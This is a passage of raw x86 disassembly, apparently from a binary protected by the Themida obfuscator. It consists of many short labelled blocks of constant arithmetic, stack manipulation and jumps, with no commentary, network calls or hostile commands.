jmp loc_56213F
; ---------------------------------------------------------------------------
loc_56C3E2: ; CODE XREF: Themida_:005708C5j
sub esp, 4
mov [esp], edx
mov edx, 67EB7F36h
jmp loc_56D9C7
; ---------------------------------------------------------------------------
loc_56C3F2: ; CODE XREF: Themida_:0056B9C8j
pop esp
mov [esp], ebp
push eax
mov eax, 2DD56387h
mov ebp, eax
pop eax
push edi
jmp loc_57272D
; ---------------------------------------------------------------------------
loc_56C405: ; CODE XREF: Themida_:005601B8j
add ecx, 0D4288D3Ch
add ebp, ecx
jmp loc_571C38
; ---------------------------------------------------------------------------
loc_56C412: ; CODE XREF: Themida_:00570B7Aj
mov ebx, 115D4D3Ch
neg ebx
inc ebx
jmp loc_561D49
; ---------------------------------------------------------------------------
loc_56C41F: ; CODE XREF: Themida_:00568DDEj
xchg esi, [esp]
pop esp
add esp, 4
pop dword ptr [esp]
push eax
mov eax, 1
add edx, 1C7E50F1h
push 31C6h
jmp loc_562774
; ---------------------------------------------------------------------------
loc_56C442: ; CODE XREF: Themida_:00564417j
or ebx, 49FD1137h
add ebx, 71654CA8h
add edx, ebx
pop ebx
inc edx
jmp loc_56D218
; ---------------------------------------------------------------------------
loc_56C457: ; CODE XREF: Themida_:005603B6j
add cl, bl
pop ebx
sub cl, 0CAh
xor dh, cl
pop ecx
jmp loc_56B09E
; ---------------------------------------------------------------------------
loc_56C465: ; CODE XREF: Themida_:0056DDE6j
add ecx, 4
xchg ecx, [esp]
pop esp
sub eax, 9047650h
mov ecx, eax
mov eax, [esp]
push esi
push edx
push esp
pop edx
jmp loc_5606A7
; ---------------------------------------------------------------------------
loc_56C482: ; CODE XREF: Themida_:0055DBD4j
sub ebp, 4
jmp loc_56D83B
; ---------------------------------------------------------------------------
loc_56C48D: ; CODE XREF: Themida_:0056948Bj
mov ch, 38h
mov ah, 0F3h
sub ah, ch
pop ecx
jmp loc_5652D1
; ---------------------------------------------------------------------------
loc_56C499: ; CODE XREF: Themida_:0056D1D4j
push ebp
sub esp, 4
jmp loc_561001
; ---------------------------------------------------------------------------
loc_56C4A5: ; CODE XREF: Themida_:0055D727j
push edi
mov edi, 5E0F0F03h
shr edi, 2
xor edi, 75573F2Ah
jmp loc_568245
; ---------------------------------------------------------------------------
loc_56C4B9: ; CODE XREF: Themida_:00569690j
push esi
push edx
mov edx, 231A17C6h
jmp loc_56E580
; ---------------------------------------------------------------------------
loc_56C4C5: ; CODE XREF: Themida_:005647ECj
push edi
push ebp
mov ebp, 6DD64552h
mov edi, ebp
pop ebp
jmp loc_56C857
; ---------------------------------------------------------------------------
loc_56C4D4: ; CODE XREF: Themida_:0056EDCEj
push esi
mov esi, 72983079h
sub ebx, esi
pop esi
add ebx, edi
add ebx, 72983079h
push dword ptr [ebx]
sub dword ptr [esp], 417C1987h
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, 317B7836h
shl ebx, 2
neg ebx
shr ebx, 4
add ebx, 3DDAF795h
add ecx, ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push edi
push ebx
jmp loc_55EC06
; ---------------------------------------------------------------------------
loc_56C52C: ; CODE XREF: Themida_:0056A2DAj
shr ebx, 2
or ebx, 28A836CBh
jmp loc_5662A3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C54A: ; CODE XREF: Themida_:0056310Fj
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_56BE06
; ---------------------------------------------------------------------------
loc_56C55D: ; CODE XREF: Themida_:005600D7j
add al, cl
add al, 48h
sub al, 22h
mov ecx, [esp]
push ebp
mov ebp, esp
push ebx
jmp loc_55EC27
; ---------------------------------------------------------------------------
loc_56C56F: ; CODE XREF: Themida_:0055E899j
add ebx, edx
mov edx, [esp]
jmp loc_56552C
; ---------------------------------------------------------------------------
loc_56C579: ; CODE XREF: Themida_:0055EA28j
sub al, 30h
add al, 55h
shr al, 3
jmp loc_572AE1
; ---------------------------------------------------------------------------
loc_56C585: ; CODE XREF: Themida_:0056D599j
push eax
mov eax, 4
jmp loc_55E5F7
; ---------------------------------------------------------------------------
loc_56C590: ; CODE XREF: Themida_:005666A1j
pop esp
add edx, 2
push 26B6h
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_5648E1
; ---------------------------------------------------------------------------
loc_56C5A6: ; CODE XREF: Themida_:005625F2j
xor ebp, 6C373A09h
push ebp
not dword ptr [esp]
pop ebp
sub ebp, 0BB857DAh
jmp loc_563DD1
; ---------------------------------------------------------------------------
loc_56C5BC: ; CODE XREF: Themida_:0056BF30j
sub esp, 4
mov [esp], ebx
mov bh, 94h
push small 1657h
mov [esp], cx
mov cl, 0FFh
sub bh, 42h
push edx
mov dl, 4
jmp loc_566ACD
; ---------------------------------------------------------------------------
loc_56C5DC: ; CODE XREF: Themida_:0056233Dj
xchg edx, [esp]
jmp loc_56ED09
; ---------------------------------------------------------------------------
loc_56C5E4: ; CODE XREF: Themida_:0056CA02j
mov esi, 2CEB3F64h
not esi
or esi, 2077321Ch
sub esi, 8B58F00Ah
jmp loc_55F937
; ---------------------------------------------------------------------------
loc_56C5FC: ; CODE XREF: Themida_:005655BDj
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56102B
; ---------------------------------------------------------------------------
loc_56C608: ; CODE XREF: Themida_:0056F767j
push edi
jmp loc_560C6C
; ---------------------------------------------------------------------------
loc_56C60E: ; CODE XREF: Themida_:00569432j
pop esi
and eax, ebx
push dword ptr [esp]
pop ebx
push 145Eh
jmp loc_570371
; ---------------------------------------------------------------------------
loc_56C61F: ; CODE XREF: Themida_:0055D9CAj
pop eax
add esp, 4
jmp loc_562A84
; ---------------------------------------------------------------------------
loc_56C62B: ; CODE XREF: Themida_:0055F9ADj
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C631: ; CODE XREF: Themida_:0056D7FEj
pop esp
jmp loc_571283
; ---------------------------------------------------------------------------
loc_56C637: ; CODE XREF: Themida_:005601F0j
; Themida_:00568518j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_56ECBB
; ---------------------------------------------------------------------------
loc_56C64A: ; CODE XREF: Themida_:00561A85j
add esp, 4
add esp, 4
push 3E0Fh
jmp loc_5611E0
; ---------------------------------------------------------------------------
loc_56C65A: ; CODE XREF: Themida_:0056226Ej
pop esi
jmp loc_566864
; ---------------------------------------------------------------------------
loc_56C660: ; CODE XREF: Themida_:00571957j
push ebx
push eax
jmp loc_566E91
; ---------------------------------------------------------------------------
loc_56C667: ; CODE XREF: Themida_:00560636j
pop esp
mov [esp], edi
push edx
mov edx, eax
jmp loc_564FD7
; ---------------------------------------------------------------------------
loc_56C673: ; CODE XREF: Themida_:005677FDj
sub [esp], eax
push ebp
mov ebp, 43135E74h
sub [esp+4], ebp
pop ebp
add dword ptr [esp], 12246E1Bh
jmp loc_56219B
; ---------------------------------------------------------------------------
loc_56C68D: ; CODE XREF: Themida_:0056803Fj
mov eax, [esp]
add esp, 4
push esi
mov esi, 38382FE4h
or esi, 39827E56h
inc esi
and esi, 73DC6C41h
neg esi
jmp loc_571F87
; ---------------------------------------------------------------------------
loc_56C6B0: ; CODE XREF: Themida_:0056048Cj
pop ebp
push esi
mov esi, 6CF21E24h
xor ebp, esi
mov esi, [esp]
jmp loc_5703D2
; ---------------------------------------------------------------------------
loc_56C6C1: ; CODE XREF: Themida_:005696BFj
shr eax, 7
jmp loc_55D3F3
; ---------------------------------------------------------------------------
loc_56C6C9: ; CODE XREF: Themida_:0055DA9Fj
sub esp, 4
jmp loc_5726AC
; ---------------------------------------------------------------------------
loc_56C6D4: ; CODE XREF: Themida_:00568C77j
mov esi, 0DFB58B6h
jmp loc_5666B3
; ---------------------------------------------------------------------------
loc_56C6DE: ; CODE XREF: Themida_:0056D18Aj
xchg esi, [esp]
pop esp
jmp loc_56D30E
; ---------------------------------------------------------------------------
loc_56C6E7: ; CODE XREF: Themida_:00564FE1j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_57103B
; ---------------------------------------------------------------------------
loc_56C6FA: ; CODE XREF: Themida_:0055EA74j
xor [eax], ecx
pop eax
jmp loc_571886
; ---------------------------------------------------------------------------
loc_56C702: ; CODE XREF: Themida_:0056FD37j
xor [eax], ecx
pop eax
mov edx, [esp]
add esp, 4
xor ecx, [edi+24h]
push edx
jmp loc_566239
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56C717: ; CODE XREF: sub_59DB3D-3C75Aj
mov dh, 89h
dec dh
add dh, 0Ah
sub ah, dh
pop edx
mov ch, ah
jmp loc_5604E1
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56C728: ; CODE XREF: Themida_:00567194j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C72D: ; CODE XREF: Themida_:0056F414j
push esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_570427
; ---------------------------------------------------------------------------
loc_56C740: ; CODE XREF: Themida_:00571EE1j
pop edx
jmp loc_5710B2
; ---------------------------------------------------------------------------
loc_56C746: ; CODE XREF: Themida_:00564266j
mov edx, ebx
pop ebx
sub ebp, 11414E52h
add ebp, edx
add ebp, 11414E52h
pop edx
pop edi
sub ebp, 4
jmp loc_56A25E
; ---------------------------------------------------------------------------
loc_56C761: ; CODE XREF: Themida_:0056DEE3j
shl ch, 3
add ch, 0D9h
jmp loc_55EDBF
; ---------------------------------------------------------------------------
loc_56C76C: ; CODE XREF: Themida_:005674B8j
not esi
jmp loc_5706DA
; ---------------------------------------------------------------------------
loc_56C773: ; CODE XREF: Themida_:0055EA46j
add esp, 4
pop ecx
jmp loc_56FE61
; ---------------------------------------------------------------------------
loc_56C77F: ; CODE XREF: Themida_:00566456j
add esi, eax
mov eax, [esp]
jmp loc_568494
; ---------------------------------------------------------------------------
loc_56C789: ; CODE XREF: Themida_:0056564Bj
pop ebx
mov ebp, [esp]
jmp loc_570ACF
; ---------------------------------------------------------------------------
loc_56C792: ; CODE XREF: Themida_:0056BF28j
pop edi
xchg eax, [esp]
pop esp
push edx
mov edx, 657E7480h
jmp loc_5646A9
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C7AA: ; CODE XREF: Themida_:0056371Ej
shr eax, 6
add eax, 74A73B90h
not eax
add eax, 15C4ECBAh
sub ebp, eax
pop eax
push 4CBFh
mov [esp], ebx
jmp loc_570C11
; ---------------------------------------------------------------------------
loc_56C7C9: ; CODE XREF: Themida_:0056D4E3j
mov ebp, edx
pop edx
jmp loc_570D2C
; ---------------------------------------------------------------------------
loc_56C7D1: ; CODE XREF: Themida_:0055ED69j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_56E775
; ---------------------------------------------------------------------------
loc_56C7E5: ; CODE XREF: Themida_:005727E8j
pop esp
mov edx, [esp]
add esp, 4
push 562Ah
jmp loc_567999
; ---------------------------------------------------------------------------
loc_56C7F9: ; CODE XREF: Themida_:0056DE74j
push ebp
push ebx
jmp loc_55EDC6
; ---------------------------------------------------------------------------
loc_56C800: ; CODE XREF: Themida_:005641E7j
push eax
push 4
push dword ptr [esp]
pop eax
jmp loc_572AF5
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56AB0D
; ---------------------------------------------------------------------------
loc_56C818: ; CODE XREF: Themida_:0055FF8Ej
push ecx
mov ecx, 2E513681h
neg ecx
xor ecx, 0D9AEC879h
add edi, ecx
jmp loc_56EF0E
; ---------------------------------------------------------------------------
loc_56C82D: ; CODE XREF: Themida_:00560393j
sub edi, 270A5B00h
add edi, ecx
jmp loc_56DC94
; ---------------------------------------------------------------------------
loc_56C83A: ; CODE XREF: Themida_:00570B80j
not ebx
sub ebx, 0C515DCBBh
jmp loc_570928
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56C847: ; CODE XREF: sub_562A0A+B4F5j
push edx
mov dl, 2Ch
add dl, 83h
inc dl
push ecx
mov cl, 4
jmp loc_56D396
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56C857: ; CODE XREF: Themida_:0056C4CFj
and edi, 384301D7h
not edi
inc edi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_571970
; ---------------------------------------------------------------------------
loc_56C874: ; CODE XREF: Themida_:0056A335j
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_563949
; ---------------------------------------------------------------------------
loc_56C88A: ; CODE XREF: Themida_:0056B9B1j
mov [esp], eax
push ebx
jmp loc_5618B6
; ---------------------------------------------------------------------------
loc_56C893: ; CODE XREF: Themida_:0055F995j
push eax
push 7AB32087h
jmp loc_56CB9F
; ---------------------------------------------------------------------------
loc_56C89E: ; CODE XREF: Themida_:0055D8EFj
push 6A35h
jmp loc_56A406
; ---------------------------------------------------------------------------
loc_56C8A8: ; CODE XREF: Themida_:0056D777j
sub edi, 0B6758ACAh
add ecx, edi
pop edi
mov edi, ecx
jmp loc_570532
; ---------------------------------------------------------------------------
loc_56C8B8: ; CODE XREF: Themida_:0055D5EAj
mov [esp], ebx
push ecx
push 623E0EECh
jmp loc_572869
; ---------------------------------------------------------------------------
loc_56C8C6: ; CODE XREF: Themida_:00564456j
mov ecx, [esp]
add esp, 4
mov edi, [esp]
jmp loc_56553B
; ---------------------------------------------------------------------------
loc_56C8D7: ; CODE XREF: Themida_:00569321j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_56034C
; ---------------------------------------------------------------------------
loc_56C8EB: ; CODE XREF: Themida_:0055E8E1j
and dl, 0B1h
or dl, 57h
add dl, 0E1h
jmp loc_56E70C
; ---------------------------------------------------------------------------
loc_56C8F9: ; CODE XREF: Themida_:0055F879j
sub edi, ebx
pop ebx
add edx, edi
pop edi
sub esp, 4
jmp loc_570864
; ---------------------------------------------------------------------------
loc_56C90A: ; CODE XREF: Themida_:00564A4Dj
add esp, 4
add ebp, 1
xor ebp, 71F43B5Fh
shr ebp, 1
jmp loc_55D427
; ---------------------------------------------------------------------------
loc_56C920: ; CODE XREF: Themida_:0055DB5Ej
add ecx, 3D793C65h
xor edx, ecx
pop ecx
add ebp, edx
jmp loc_563AC2
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_561A82
; ---------------------------------------------------------------------------
loc_56C93E: ; CODE XREF: Themida_:0057263Aj
add ebp, 764901B3h
neg ebp
sub ebp, 27D571D0h
push ebx
jmp loc_571EE6
; ---------------------------------------------------------------------------
loc_56C952: ; CODE XREF: Themida_:005664B5j
add edi, eax
add edi, 66CA74BEh
push eax
mov eax, 50E24172h
shr eax, 3
push edi
mov edi, 15996A23h
shr edi, 8
not edi
neg edi
sub edi, 0FFFFFFFFh
jmp loc_563325
; ---------------------------------------------------------------------------
loc_56C97B: ; CODE XREF: Themida_:0055E578j
inc esi
sub esi, 0A68B5734h
sub edx, esi
pop esi
push edi
mov edi, 0A8D13CFDh
jmp loc_5623BB
; ---------------------------------------------------------------------------
loc_56C990: ; CODE XREF: Themida_:0056B7B5j
mov ebp, 136F0814h
jmp loc_5708A2
; ---------------------------------------------------------------------------
loc_56C99A: ; CODE XREF: Themida_:00570768j
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_56D9E0
; ---------------------------------------------------------------------------
loc_56C9AA: ; CODE XREF: Themida_:0055DA70j
dec edi
xor edi, 0AB605A9h
or edi, 54180FE3h
dec edi
shl edi, 3
add edi, 90E8014h
add esi, edi
pop edi
xchg esi, [esp]
mov esp, [esp]
jmp loc_56A06E
; ---------------------------------------------------------------------------
loc_56C9CF: ; CODE XREF: Themida_:00566F33j
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
push 6373h
jmp loc_56E4AF
; ---------------------------------------------------------------------------
loc_56C9E9: ; CODE XREF: Themida_:00563CBCj
push eax
push ebp
jmp loc_5667A7
; ---------------------------------------------------------------------------
loc_56C9F0: ; CODE XREF: Themida_:00568CEFj
add eax, 45AA600Eh
add eax, ecx
sub eax, 45AA600Eh
add eax, 9EB367Bh
push esi
jmp loc_56C5E4
; ---------------------------------------------------------------------------
loc_56CA07: ; CODE XREF: Themida_:0056F730j
xor esi, ebx
pop ebx
jmp loc_564D65
; ---------------------------------------------------------------------------
loc_56CA0F: ; CODE XREF: Themida_:00560854j
mov edi, esp
add edi, 4
push edx
mov edx, 4
add edi, edx
pop edx
xchg edi, [esp]
pop esp
jmp loc_5602E1
; ---------------------------------------------------------------------------
loc_56CA29: ; CODE XREF: Themida_:00562F29j
xor edx, 384879F8h
push 471Fh
mov [esp], esi
jmp loc_563E62
; ---------------------------------------------------------------------------
loc_56CA3C: ; CODE XREF: Themida_:0055E5E0j
not byte ptr [esp]
mov dx, [esp]
add esp, 2
push ecx
mov ch, 0E7h
add dl, 38h
sub dl, ch
sub dl, 38h
jmp loc_55F072
; ---------------------------------------------------------------------------
loc_56CA56: ; CODE XREF: Themida_:005667A2j
pop edi
xor eax, esi
push dword ptr [esp]
pop esi
add esp, 4
add esi, 14293FDCh
add esi, eax
push 299Ah
jmp loc_5726F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56CA75: ; CODE XREF: sub_59DB3D-3378Bj
or ch, bl
jmp loc_56A7B7
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56CA7C: ; CODE XREF: Themida_:0056F405j
pop eax
jmp loc_565476
; ---------------------------------------------------------------------------
loc_56CA82: ; CODE XREF: Themida_:005677E5j
mov eax, [esp]
jmp loc_5726EC
; ---------------------------------------------------------------------------
loc_56CA8A: ; CODE XREF: Themida_:0055DBEAj
push ebp
not dword ptr [esp]
pop ebp
push edx
mov edx, 2ED72FF3h
xor ebp, edx
pop edx
push ebx
mov ebx, 317439DBh
xor ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, 0B8B6A11Ch
add eax, ebp
pop ebp
push ecx
jmp loc_560CE7
; ---------------------------------------------------------------------------
loc_56CAB5: ; CODE XREF: Themida_:0056857Fj
pop eax
push esi
mov esi, 3B6A10E7h
jmp loc_570233
; ---------------------------------------------------------------------------
loc_56CAC1: ; CODE XREF: Themida_:0055F431j
mov dl, ah
mov eax, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
push edx
push dx
jmp loc_565503
; ---------------------------------------------------------------------------
loc_56CADA: ; CODE XREF: Themida_:0056AC15j
push 748h
jmp loc_569133
; ---------------------------------------------------------------------------
loc_56CAE4: ; CODE XREF: Themida_:005714A2j
inc ebx
not ebx
shl ebx, 1
shr ebx, 1
push edx
mov edx, 29E08DDFh
xor ebx, edx
pop edx
mov ebp, ebx
pop ebx
add ebp, 767E3169h
xor ebp, 1E562758h
add ebp, 3D33AC73h
add eax, ebp
pop ebp
add eax, 4
jmp loc_56963D
; ---------------------------------------------------------------------------
loc_56CB16: ; CODE XREF: Themida_:00569812j
pop ebx
sub ebx, 7823251h
mov edi, ebx
pop ebx
mov eax, edi
pop edi
add ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_566F38
; ---------------------------------------------------------------------------
loc_56CB31: ; CODE XREF: Themida_:0056FA6Bj
add [esp], ax
pushf
jmp loc_570636
; ---------------------------------------------------------------------------
loc_56CB3B: ; CODE XREF: Themida_:00571C95j
push 7519h
mov [esp], edx
mov edx, 4
add ecx, edx
pop edx
push edi
mov edi, 4
jmp loc_5642E3
; ---------------------------------------------------------------------------
loc_56CB56: ; CODE XREF: Themida_:00568D07j
and dh, bh
pop bx
and dh, 9Eh
add dh, 8Fh
add cl, dh
pop edx
push eax
jmp loc_56CBE6
; ---------------------------------------------------------------------------
loc_56CB69: ; CODE XREF: Themida_:00560979j
push edx
mov edx, 0B090C51h
add edx, 0F4F6F3B3h
push edx
mov edx, 59FF0C22h
jmp loc_56401B
; ---------------------------------------------------------------------------
loc_56CB80: ; CODE XREF: Themida_:00561AB5j
xchg edi, esi
push 4DBFh
mov [esp], ecx
jmp loc_565E19
; ---------------------------------------------------------------------------
loc_56CB8F: ; CODE XREF: Themida_:0056A934j
pop edi
xor edi, 48BF2496h
pop ebp
mov esi, [esp]
jmp loc_56F1F8
; ---------------------------------------------------------------------------
loc_56CB9F: ; CODE XREF: Themida_:0056C899j
pop eax
xor eax, 365F1C71h
mov ebx, eax
pop eax
jmp loc_5682CA
; ---------------------------------------------------------------------------
loc_56CBAD: ; CODE XREF: Themida_:0056444Fj
push eax
jmp loc_56AFB8
; ---------------------------------------------------------------------------
mov ax, [esp]
push 18F2h
mov [esp], ebp
push esp
pop ebp
push esi
mov esi, 474A5995h
shl esi, 6
push ebp
jmp loc_568D42
; ---------------------------------------------------------------------------
loc_56CBD0: ; CODE XREF: Themida_:0056433Dj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push ebx
jmp loc_566B1C
; ---------------------------------------------------------------------------
loc_56CBE6: ; CODE XREF: Themida_:0056CB64j
mov ah, cl
jmp loc_56FD54
; ---------------------------------------------------------------------------
loc_56CBED: ; CODE XREF: Themida_:0055ECB5j
xor [esp], edi
xor edi, [esp]
xor [esp], edi
not edi
push edi
jmp loc_563004
; ---------------------------------------------------------------------------
mov ebp, 4
add [esp+4], ebp
pop ebp
pop esi
push eax
mov eax, 4BE457BBh
shl eax, 1
jmp loc_56DB4D
; ---------------------------------------------------------------------------
loc_56CC16: ; CODE XREF: Themida_:00564283j
xor ebx, [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
mov [esp], ecx
push 3B73h
mov [esp], esp
jmp loc_572992
; ---------------------------------------------------------------------------
loc_56CC36: ; CODE XREF: Themida_:0056C0D9j
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, 4F1F2B01h
add eax, esi
pop esi
mov ebp, [esp]
jmp loc_562D97
; ---------------------------------------------------------------------------
loc_56CC4E: ; CODE XREF: Themida_:0057134Fj
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_567751
; ---------------------------------------------------------------------------
loc_56CC5F: ; CODE XREF: Themida_:00564DF3j
add eax, ebp
mov ebp, [esp]
push eax
mov eax, esp
sub esp, 4
mov [esp], edx
mov edx, 61366720h
shr edx, 7
shr edx, 6
dec edx
xor edx, 309B6h
add eax, edx
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add eax, 4
xchg eax, [esp]
pop esp
pop ebp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56CCA3: ; CODE XREF: Themida_:0056A534j
shr ebp, 2
and ebp, 371E565Ch
xor ebp, 626E4CC4h
push edx
mov edx, 1DF50378h
jmp loc_566735
; ---------------------------------------------------------------------------
loc_56CCBD: ; CODE XREF: Themida_:00564CCAj
mov ebx, 4
push eax
jmp loc_56E698
; ---------------------------------------------------------------------------
loc_56CCC8: ; CODE XREF: Themida_:00567228j
sub eax, 35171464h
sub eax, 3F36604Eh
jmp loc_56F7EC
; ---------------------------------------------------------------------------
loc_56CCD7: ; CODE XREF: Themida_:0056343Dj
sub dword ptr [esp], 7C484F6Eh
pop esi
add esi, 7C484F6Eh
pop ebx
and esi, 3C0073BFh
xor esi, 29D96577h
and esi, 3F762634h
sub esi, 1
shl esi, 4
push ebp
jmp loc_567B1B
; ---------------------------------------------------------------------------
loc_56CD04: ; CODE XREF: Themida_:0056EE53j
pop edi
add esi, 20014F1h
sub esi, 22FF4576h
add ecx, esi
pop esi
jmp loc_569F43
; ---------------------------------------------------------------------------
loc_56CD19: ; CODE XREF: Themida_:005680DDj
add edi, 2D3672DCh
jmp loc_568F28
; ---------------------------------------------------------------------------
loc_56CD24: ; CODE XREF: Themida_:0055D8C5j
add ebp, esi
pop esi
add ebp, 4
push 3DD6h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_55E565
; ---------------------------------------------------------------------------
loc_56CD42: ; CODE XREF: Themida_:00563A83j
add al, 0A6h
jmp loc_56EB08
; ---------------------------------------------------------------------------
loc_56CD49: ; CODE XREF: Themida_:00569A7Bj
pop edi
add [esp+4], ecx
sub dword ptr [esp+4], 6A9F12CAh
pop ecx
pop ecx
push ebx
push eax
mov eax, 4F5B2B4Dh
shr eax, 2
sub eax, 796012EDh
sub eax, 39B97E6Dh
xor eax, 60BD397Dh
mov ebx, eax
jmp loc_5711F9
; ---------------------------------------------------------------------------
loc_56CD78: ; CODE XREF: Themida_:0056F3D1j
sub esp, 4
mov [esp], eax
push 660B7622h
jmp loc_5636EB
; ---------------------------------------------------------------------------
loc_56CD8B: ; CODE XREF: Themida_:0056F8FDj
not ebx
xchg ebx, edx
xchg edx, edi
shl edi, 4
sub edi, 8049260Eh
push edi
mov edi, esp
jmp loc_56458C
; ---------------------------------------------------------------------------
loc_56CDA2: ; CODE XREF: Themida_:0055D5BDj
add ebx, edx
jmp loc_5637FA
; ---------------------------------------------------------------------------
loc_56CDA9: ; CODE XREF: Themida_:00565705j
mov ebp, [esp]
add esp, 4
push 28Dh
mov [esp], edi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
push edx
push ebx
mov ebx, 3E944BF7h
mov edx, 3E944BFBh
sub edx, 2A677504h
sub edx, ebx
add edx, 2A677504h
pop ebx
add edi, edx
mov edx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_55DDC5
; ---------------------------------------------------------------------------
loc_56CE0E: ; CODE XREF: Themida_:0057276Ej
add eax, esi
jmp loc_56F874
; ---------------------------------------------------------------------------
loc_56CE15: ; CODE XREF: Themida_:00572B2Aj
sub ah, 8Eh
dec ah
jmp loc_565C90
; ---------------------------------------------------------------------------
loc_56CE1F: ; CODE XREF: Themida_:0056CFFAj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
xor [esp], eax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56CE31: ; CODE XREF: Themida_:00571A5Ej
pop esi
jmp loc_56F42B
; ---------------------------------------------------------------------------
loc_56CE37: ; CODE XREF: Themida_:0056E1C4j
pop esp
push 3DAEh
mov [esp], ebx
push eax
push edx
jmp loc_571BCB
; ---------------------------------------------------------------------------
loc_56CE47: ; CODE XREF: Themida_:0055F603j
push edi
mov edi, 1B071B08h
mov ecx, edi
jmp loc_5698BE
; ---------------------------------------------------------------------------
loc_56CE54: ; CODE XREF: Themida_:0056D494j
sub al, cl
pop cx
pop edx
jmp loc_55E95E
; ---------------------------------------------------------------------------
loc_56CE5E: ; CODE XREF: Themida_:0055F9EDj
push ecx
mov ecx, 5ACF6D63h
sub ebx, ecx
pop ecx
sub ecx, 795F30FAh
sub ecx, ebx
add ecx, 795F30FAh
jmp loc_569281
; ---------------------------------------------------------------------------
loc_56CE7A: ; CODE XREF: Themida_:0055D9B5j
mov edx, [esp]
jmp loc_567631
; ---------------------------------------------------------------------------
loc_56CE82: ; CODE XREF: Themida_:0056D28Ej
mov esi, 2
push edx
mov edx, 615D7DBDh
or edx, 65946666h
or edx, 1C850588h
shl edx, 5
sub edx, 75B5892Eh
add eax, edx
pop edx
sub eax, 658D498Eh
add eax, esi
jmp loc_564C16
; ---------------------------------------------------------------------------
loc_56CEB1: ; CODE XREF: Themida_:00568113j
add esp, [edx+38h]
push ebx
push 7CCh
jmp loc_56F5F1
; ---------------------------------------------------------------------------
loc_56CEBF: ; CODE XREF: Themida_:005609CDj
mov edi, esp
jmp loc_55D54A
; ---------------------------------------------------------------------------
loc_56CEC6: ; CODE XREF: Themida_:00562A6Bj
pop eax
push eax
mov eax, 0B002021h
shr eax, 2
dec eax
add eax, 7A399A94h
xor esi, eax
pop eax
push esi
pop ebx
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 3BFE09F2h
shr ecx, 7
sub ecx, 2CE708F7h
jmp loc_564E83
; ---------------------------------------------------------------------------
loc_56CEF8: ; CODE XREF: Themida_:0056FD47j
push edi
mov edi, 1C733C96h
and ebp, edi
pop edi
not ebp
sub ebp, 0DCB57D5Eh
mov ecx, ebp
pop ebp
jmp loc_56E2EA
; ---------------------------------------------------------------------------
loc_56CF11: ; CODE XREF: Themida_:005643AAj
xchg di, cx
neg di
xchg di, cx
or cx, 2ABBh
add cx, 6E03h
sub dx, cx
pop cx
add ax, dx
pop edx
xor bx, ax
movzx eax, ax
push edi
jmp loc_56B33C
; ---------------------------------------------------------------------------
loc_56CF39: ; CODE XREF: Themida_:00563E96j
shl esi, 5
push edi
jmp loc_563E9B
; ---------------------------------------------------------------------------
loc_56CF42: ; CODE XREF: Themida_:0056EA3Ej
mov ebp, 1A860A43h
xor ebp, 91968212h
jmp loc_5689D4
; ---------------------------------------------------------------------------
loc_56CF52: ; CODE XREF: Themida_:00565A94j
pop ebp
dec edx
push esi
jmp loc_571FE6
; ---------------------------------------------------------------------------
loc_56CF5A: ; CODE XREF: Themida_:00568573j
sub edi, 558D366Eh
add edi, 74EE4520h
add edi, ecx
sub edi, 74EE4520h
add edi, 558D366Eh
push ebp
jmp loc_56DD84
; ---------------------------------------------------------------------------
loc_56CF7A: ; CODE XREF: Themida_:0057036Cj
mov ebx, [esp]
add esp, 4
mov eax, edi
mov edi, [esp]
add esp, 4
jmp loc_572A24
